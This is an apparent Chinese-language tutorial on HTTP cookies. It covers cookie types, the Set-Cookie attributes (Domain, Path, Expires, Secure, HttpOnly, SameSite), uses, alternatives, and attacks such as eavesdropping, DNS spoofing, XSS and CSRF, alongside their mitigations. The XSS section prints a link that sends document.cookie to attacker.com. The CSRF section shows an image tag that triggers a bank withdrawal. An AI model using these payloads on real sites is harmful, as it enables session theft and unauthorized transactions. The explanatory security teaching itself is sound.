Cookies

384 阅读10分钟

Cookie是HTTP cookie是网站发送的一个小的数据片段,当用户浏览时,会通过用户的浏览器保存在用户的电脑上。通过Cookie这种可靠的机制,网站可以记录状态信息(例如在电商网站中放到购物车中的物品)或者记录用户的浏览行为(包括特殊按钮的点击,登录或者记录之前访问的页面)。也可以用来记录用户之前输入的字段例如姓名,地址,密码,信用卡号码。

cookie一般是由后台产生在登录等请求完成后返回保存在浏览器

分类

1 Session Cookie

会话Cookie,没有设置过期时间,存在内存里,关闭浏览器时就会被删除。

2 持久性Cookie

持久性cookie是到一个特定日期过期或者过来一段时间过期。这就意味着,在cookie的整个生命周期(创建cookie时可以指定其生命周期),每次用户访问cookie所属站点时,或者每次用户在其他站点访问cookie所属站点的资源(例如广告)时,cookie所携带的信息都会被发送到服务端。

由于这个原因,持久性cookie有时被称为追踪cookie,因为广告系统可以利用它记录用户在一段时间内的网页浏览习惯信息。当然,使用它也有一些“正当”理由,例如保持用户的登录状态,避免每次访问的再次登录。

如果过期时间到了,或者用户手动删除了,这种cookie会被重置。

3 安全Cookie

安全cookie只能通过安全连接传输(例如,https)。不能通过非安全连接传输(例如,http)。这样就不太可能被窃取。在cookie中设置一个Secure标志就可以创建安全cookie。

4 HttpOnly Cookie

HttpOnly cookie不能通过客户端ducument.cookie获取到。这种限制减少了通过跨站脚本(XSS)窃取cookie的风险。然而这种cookie也会受到跨站追踪和跨站请求伪造攻击。在cookie中添加HttpOnly可以创建这种cookie。

5 SameSite Cookie

只有请求和站点是同源的,才会发送cookie到服务器。这种限制可以缓解攻击,例如跨站请求伪造攻击。在cookie中设置SameSite标识可以创建这种类型的cookie。

6 第三方Cookie

在页面中访问不同源的网站,会使如广告网站的cookie加进去,这样在访问广告或者访问广告网站的时候,这些cookie就会被发送过去,广告主因此获得浏览记录。

7 supercookie

supercookie是来自于顶级域名(例如.com)或者有公共后缀(例如.co.uk)的cookie。普通cookie是来自于一个特定域名,例如example.com。

upercookie是一个潜在的安全威胁,所以经常被浏览器默认禁止的。如果浏览器不禁止,控制恶意站点的攻击者可以设置一个supercookie,干扰或者冒充合法的用户向其他共享顶级域名或者公共后缀的站点的请求。例如,来自.com的supercookie可以恶意影响example.com的请求,即便这个cookie并不是来自于example.com。可以用来伪造登录或者修改用户信息。

8 Zombie cookie

zombie cookie是指被删除后可以自动再创建的cookie。通过把cookie内容存储在多个地方实现,例如flash的本地共享对象,H5的网页存储,其他客户端甚至服务端位置。当缺失的cookie被检测到,就会利用存储在这些位置的数据重新创建cookie。

结构

name=value; domain; path; expires; secure; httponly; samesite

以字符串形式链接key=value;各个选项值间以“”;“”分隔。

每个cookie都有一定的属性,如什么时候失效,要发送到哪个域名,哪个路径等等。这些属性是通过cookie选项来设置的,cookie选项包括:expires、domain、path、secure、HttpOnly。在设置任一个cookie时都可以设置相关的这些属性,当然也可以不设置,这时会使用这些属性的默认值。

使用

1 session管理

用来标记用户,从而可以从服务端的数据库中找到相应的信息,如登录状态,购物车内容等

2 个性化

用户通过表单提交偏好,服务器编辑好cookie发送给浏览器,这样再访问站点时就有偏好记录了

3 追踪

初次访问一个页面,服务器返回一个cookie,之后每次访问这个站点的页面时,都把cookie发送至服务器,通过一个日志文件存储页面url,日期和cooike,分析这个日志文件就可以知道用户浏览习惯。

实现

响应头中的Set-Cookie设置cooike的键值对和属性以及标识

1 Domain和Path

domain是域名,path是路径,两者加起来就构成了 URL,domain和path一起来限制 cookie 能被哪些 URL 访问。

一句话概括:某cookie的 domain为“baidu.com”, path为“/ ”,若请求的URL(URL 可以是js/html/img/css资源请求,但不包括 XHR 请求)的域名是“baidu.com”或其子域如“api.baidu.com”、“dev.api.baidu.com”,且 URL 的路径是“/ ”或子路径“/home”、“/home/login”,则浏览器会将此 cookie 添加到该请求的 cookie 头部中。

2 Expires和Max-Age

Expires属性定义了一个指定的日期和时间,到了这个日期或时间时,浏览器应该删掉cookie。日期和时间的指定格式是Wdy, DD Mon YYYY HH:MM:SS GMT或者Wdy, DD Mon YY HH:MM:SS GMT,其中YY的值大于等于0小于等于69。

作为一种选择,Max-Age属性可以用来设置cookie的有效期,以相对于浏览器接收到cookie之后的秒数来计算。

3 Secure和HttpOnly

Secure属性意味着把cookie通信限制在加密传输中,指示浏览器只能通过安全/加密连接使用cookie。然而如果一个web服务器在非安全连接中给cookie设置了一个secure属性,这个cookie在发送给用户时仍然可以通过中间人攻击拦截到。因此,为了安全必须通过安全连接设置cookie的Secure属性。

HttpOnly属性指示浏览器除了HTTP/HTTPS请求之外不要显示cookie。这意味着这种cookie不能在客户端通过脚本获取,因此也不会轻易的被跨站脚本窃取。

cookie窃取和session劫持

1 网络窃听

中间人劫持未被加密的cookie,冒充用户窃取资料等

可以通过secure标识解决

2 发布假的子域:DNS污染

攻击者在DNS上发布一个fame.www.example.com 的地址映射到攻击者服务器,然后请求一个URL,例如图片,这样受害者下载这张图片时,由于这是www.example.com 的子域,所以受害者浏览器就会把example.com域名相关的cookie都发送过去,就窃取到cookie了

可以通过secure标识解决

如果一个攻击者有能力获取这些,只能说明是域名服务提供商的错误,因为不能正确保护他们的DNS服务器。然而如果目标站点采用了安全cookie,可以降低这种攻击的严重程度。在使用了安全cookie的情况下,攻击者还有一个额外的挑战,那就是从证书机构获取目标站点的SSL证书,因为安全cookie只能通过安全连接传输。没有匹配的SSL证书,受害者的浏览器将会警告攻击者的无效证书,帮助阻止用户访问攻击者的欺诈网站以及发送给攻击者他们的cookies。

3 跨站脚本:cookie窃取

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

这种情况发生在那些允许用户发送未经过滤的html以及js内容的站点中。通过发布恶意的html和js代码,攻击者可以利用受害者的浏览器发送受害者的cookie到攻击者控制的站点。

当其他用户点击了这个链接,浏览器执行了其中的代码段,这样document.cookie字符串会被当前页面获取到的cookies列表替换。结果就是cookie列表就被发送到attacker.com服务器。如果攻击者的恶意发布是在一个HTTPS站点www.example.com, 安全cookie同样也会被发送到attacker.com。

类似的攻击可以利用HttpOnly cookies来减轻。这些cookie不能被客户端脚本获取到,因此攻击者不能得到这些cookie。

4 跨站脚本:代理请求

在很多旧版本的浏览器中,都存在这种安全漏洞允许攻击者利用客户端的XMLHttpRequest的API发起一个代理请求。例如,一个受害者正在阅读攻击者在www.example.com 站点上发布的内容,攻击者的脚本在受害者的浏览器中执行。脚本执行产生一个代理服务器www.attacker.com 到www.example.com 的请求。由于请求是指向www.example.com ,所有example.com 的cookie将会随请求一起发送,但是都经过攻击者的代理服务器。因此攻击可以获取到受害者的cookie。

这种攻击对安全cookie不生效,因为他们只能通过HTTPS链接传输,HTTPS协议规定的是端到端的加密(例如,信息在用户浏览器上加密,然后在目标服务器上解密)。在这种情况下,代理服务器只能看到HTTP请求中的未经加工的加密的字节。

5 跨站请求伪造

例如,Bob可能浏览了一个聊天论坛,里面另一个用户,Mallory发布了一条消息,假设Mallory精巧的制作一个image标签,引用指向Bob的银行站点而不是一个图片文件,例如:

![](http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory)

如果Bob的银行在cookie中保存了他的认证信息,而且cookie还没有过期,然后Bob的浏览器尝试加载这个图片的时候,将会发送一个取款操作,从他的cookie中,授权了这次事务,尽管没有Bob的确认。

缺点

1 错误识别

cookie不能区分共享一个账号一台电脑一个浏览器的多个用户。

2 客户端和服务端不一致的状态

向购物车添加一个东西,然后后退,购物车里的东西还在

替代方案

1 web 存储

Web storage:local storage和session storage

2 浏览器缓存

浏览器缓存也可以用来存储信息,利用这些信息也可以用来追踪用户。这项技术利用的真相是当浏览器判断出来缓存的已经是最新资源时可以利用缓存而不是重新从站点下载。

3 浏览器指纹

浏览器指纹是指浏览器配置信息的集合,例如版本号,屏幕分辨率,操作系统。指纹信息可以用来完全或者部分标识独立用户或者设备,即使cookie已经被关闭了。

4 隐藏的表单字段

大部分表单都是通过HTTP的POST方法处理,这样表单信息包括隐藏的字段都会在HTTP请求体中发送,这样既不是URL中的一部分,也不是cookie的一部分。

从追踪的角度来看这种方式有两种好处。第一,把追踪信息放在HTTP请求体中而不是URL中意味着它不会被普通用户察觉。第二,当用户复制URL的时候不会复制到session信息。

cookie的同源策略

只关注域名 被提交需要满足两个条件

  • 1 域名是当前域名或者父域名的Cookie 是父域名的话前面一定要有点(.),否则不能被子域携带
  • 2 路径是当前路径或者父路径的Cookie